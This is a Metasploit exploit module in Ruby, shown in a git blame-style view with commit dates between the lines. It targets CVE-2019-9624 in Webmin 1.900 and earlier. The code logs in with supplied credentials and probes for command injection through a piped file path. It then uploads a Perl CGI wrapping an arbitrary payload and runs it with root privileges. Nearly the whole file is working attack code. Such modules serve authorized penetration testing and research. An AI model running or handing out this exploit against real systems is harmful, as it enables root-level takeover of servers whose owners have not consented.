Files
metasploit-gs/modules/exploits/unix/webapp/webmin_upload_exec.rb
T

214 lines
6.9 KiB
Ruby
Raw Normal View History

2019-02-11 10:45:03 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
2019-03-14 13:26:41 -05:00
'Name' => 'Webmin Upload Authenticated RCE',
2019-02-11 10:45:03 -05:00
'Description' => %q(
2019-02-11 11:24:04 -05:00
This module exploits an arbitrary command execution vulnerability in Webmin
2019-03-14 13:26:41 -05:00
1.900 and lower versions. Any user authorized to the "Upload and Download"
module can execute arbitrary commands with root privileges.
2019-03-12 10:54:43 -05:00
2019-02-11 11:24:04 -05:00
In addition, if the 'Running Processes' (proc) privilege is set the user can
2019-03-12 10:54:43 -05:00
accurately determine which directory to upload to. Webmin application files
can be written/overwritten, which allows remote code execution. The module
2019-03-14 13:46:34 -05:00
has been tested successfully with Webmin 1.900 on Ubuntu v18.04.
2019-03-12 10:54:43 -05:00
Using GUESSUPLOAD attempts to use a default installation path in order to
trigger the exploit.
2019-02-11 10:45:03 -05:00
),
'Author' => [
2019-03-12 10:54:43 -05:00
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, Initial PoC module
2019-02-11 10:45:03 -05:00
'Ziconius <Kris.Anderson[at]immersivelabs.com>' # Updated MSF module; removing 'proc' requirement.
],
'License' => MSF_LICENSE,
'References' =>
[
2019-03-21 11:28:45 -05:00
['CVE', '2019-9624'],
2019-03-12 10:54:43 -05:00
['EDB', '46201'],
2019-02-11 10:45:03 -05:00
['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
2019-03-14 09:34:55 -05:00
'RequiredCmd' => 'perl'
2019-02-11 10:45:03 -05:00
}
},
2019-03-12 10:54:43 -05:00
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => true
},
2019-02-11 10:45:03 -05:00
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.900', {}]],
'DisclosureDate' => 'Jan 17 2019',
'DefaultTarget' => 0)
)
2019-03-12 10:54:43 -05:00
register_options [
OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]),
2019-02-11 10:45:03 -05:00
OptString.new('USERNAME', [true, 'Webmin Username']),
2019-03-14 09:34:55 -05:00
OptString.new('PASSWORD', [true, 'Webmin Password']),
2019-03-14 13:26:41 -05:00
OptString.new('FILENAME', [false, 'Filename used for the uploaded data']),
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
2019-03-12 10:54:43 -05:00
]
end
def login
res = send_request_cgi({
'method' => 'POST',
2019-03-14 13:26:41 -05:00
'uri' => normalize_uri(target_uri, 'session_login.cgi'),
2019-03-12 10:54:43 -05:00
'cookie' => 'testing=1',
'vars_post' => {
'page' => '',
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD']
}
})
if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
return $1
end
return nil unless res
''
2019-02-11 10:45:03 -05:00
end
##
# Target and input verification
##
def check
2019-03-12 10:54:43 -05:00
cookie = login
return CheckCode::Detected if cookie == ''
return CheckCode::Unknown if cookie.nil?
2019-02-11 10:45:03 -05:00
2019-03-12 10:54:43 -05:00
vprint_status('Attempting to execute...')
command = "echo #{rand_text_alphanumeric(0..9)}"
2019-02-11 10:45:03 -05:00
2019-03-14 09:34:55 -05:00
res = send_request_cgi({
2019-03-14 13:26:41 -05:00
'uri' => "#{target_uri}/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
2019-03-14 09:34:55 -05:00
'cookie' => "sid=#{cookie}"
})
2019-02-11 10:45:03 -05:00
if res && res.code == 200 && res.message =~ /Document follows/
2019-03-12 10:54:43 -05:00
return CheckCode::Vulnerable
2019-02-11 10:45:03 -05:00
end
2019-03-12 10:54:43 -05:00
CheckCode::Safe
2019-02-11 10:45:03 -05:00
end
##
# Exploiting phase
##
def exploit
2019-03-12 10:54:43 -05:00
cookie = login
if cookie == '' || cookie.nil?
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
2019-02-11 10:45:03 -05:00
end
2019-03-12 10:54:43 -05:00
print_good("Session cookie: #{cookie}")
2019-02-11 10:45:03 -05:00
##
# Directory and SSL verification for referer
##
2019-03-12 10:54:43 -05:00
phost = ssl ? 'https://' : 'http://'
phost << peer
print_status("Target URL => #{phost}")
2019-02-11 10:45:03 -05:00
2019-03-12 10:54:43 -05:00
res = send_request_raw(
'method' => 'POST',
2019-03-14 13:26:41 -05:00
'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),
2019-02-11 10:45:03 -05:00
'headers' =>
{
2019-03-12 10:54:43 -05:00
'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1"
2019-02-11 10:45:03 -05:00
},
2019-03-12 10:54:43 -05:00
'cookie' => "redirect=1; testing=1; sid=#{cookie}"
2019-02-11 10:45:03 -05:00
)
2019-03-12 10:54:43 -05:00
unless res && res.code == 200
fail_with(Failure::Unknown, 'Request failed')
end
2019-02-11 10:45:03 -05:00
2019-03-12 10:54:43 -05:00
print_status 'Searching for directory to upload...'
if res.body =~ /Running Processes/ && res.body =~ /[^ ] ([\/\w]+)miniserv\.pl/
directory = $1
elsif datastore['GUESSUPLOAD']
print_warning('Could not determine upload directory. Using /usr/share/webmin/')
directory = '/usr/share/webmin/'
2019-02-11 10:45:03 -05:00
else
2019-03-12 10:54:43 -05:00
print_error('Failed to determine webmin share directory')
print_error('Set GUESSUPLOAD to attempt upload to a default location')
2019-02-11 10:45:03 -05:00
return
end
2019-03-12 10:54:43 -05:00
directory << 'file'
2019-03-14 09:34:55 -05:00
filename = datastore['FILENAME'].present? ? datastore['FILENAME'] : "#{rand_text_alpha_lower(5..8)}.cgi"
filename << '.cgi' unless filename.end_with?('.cgi')
upload_attempt(phost, cookie, directory, filename)
2019-02-11 10:45:03 -05:00
##
# Loading phase of the vulnerable file
# Command execution and shell retrieval
##
print_status("Attempting to execute the payload...")
command = payload.encoded
2019-03-12 10:54:43 -05:00
res = send_request_cgi({
2019-03-14 13:26:41 -05:00
'uri' => normalize_uri(target_uri, 'file', filename),
2019-03-12 10:54:43 -05:00
'cookie' => "sid=#{cookie}"
})
2019-02-11 10:45:03 -05:00
end
2019-03-14 09:34:55 -05:00
def upload_attempt(phost, cookie, dir, filename)
limit = rand_text_alpha_upper(5..10)
2019-03-14 13:26:41 -05:00
tmpvar = rand_text_alpha_upper(3..8)
2019-03-14 09:34:55 -05:00
code = <<~HERE
#!/usr/bin/perl
2019-03-14 13:26:41 -05:00
$#{tmpvar} = <<'#{limit}';
2019-03-14 09:34:55 -05:00
#{payload.encoded}
#{limit}
2019-03-14 13:26:41 -05:00
`$#{tmpvar}`;
2019-03-14 09:34:55 -05:00
HERE
2019-02-11 10:45:03 -05:00
2019-03-14 10:13:48 -05:00
message = Rex::MIME::Message.new
message.add_part(code, nil, nil, "form-data; name=\"upload0\"; filename=\"#{filename}\"")
message.add_part(dir, nil, nil, 'form-data; name="dir"')
message.add_part('root', nil, nil, 'form-data; name="user"')
message.add_part('1', nil, nil, 'form-data; name="group_def"')
message.add_part('', nil, nil, 'form-data; name="group"')
message.add_part('0', nil, nil, 'form-data; name="zip"')
message.add_part('1', nil, nil, 'form-data; name="email_def"')
message.add_part('Upload', nil, nil, 'form-data; name="ok"')
2019-02-11 10:45:03 -05:00
res2 = send_request_raw(
2019-03-12 10:54:43 -05:00
'method' => 'POST',
2019-03-14 13:26:41 -05:00
'uri' => normalize_uri(target_uri, 'updown', 'upload.cgi'),
2019-03-14 09:34:55 -05:00
'vars_get' => {'id' => "#{rand_text_numeric(8..12)}"},
2019-03-14 10:13:48 -05:00
'data' => message.to_s,
'ctype' => "multipart/form-data; boundary=#{message.bound}",
2019-02-11 10:45:03 -05:00
'headers' =>
{
2019-03-12 10:54:43 -05:00
'Referer' => "#{phost}/updown/?xnavigation=1"
2019-02-11 10:45:03 -05:00
},
2019-03-12 10:54:43 -05:00
'cookie' => "redirect=1; testing=1; sid=#{cookie}"
2019-02-11 10:45:03 -05:00
)
if res2 && res2.code == 200 && res2.body =~ /Saving file/
2019-03-14 09:34:55 -05:00
print_good "File #{filename} was successfully uploaded."
2019-03-14 13:26:41 -05:00
register_file_for_cleanup(filename)
2019-02-11 10:45:03 -05:00
else
2019-03-12 10:54:43 -05:00
print_error 'Upload failed.'
2019-03-14 13:26:41 -05:00
fail_with(Failure::UnexpectedReply, 'Failed to upload file')
2019-02-11 10:45:03 -05:00
end
end
end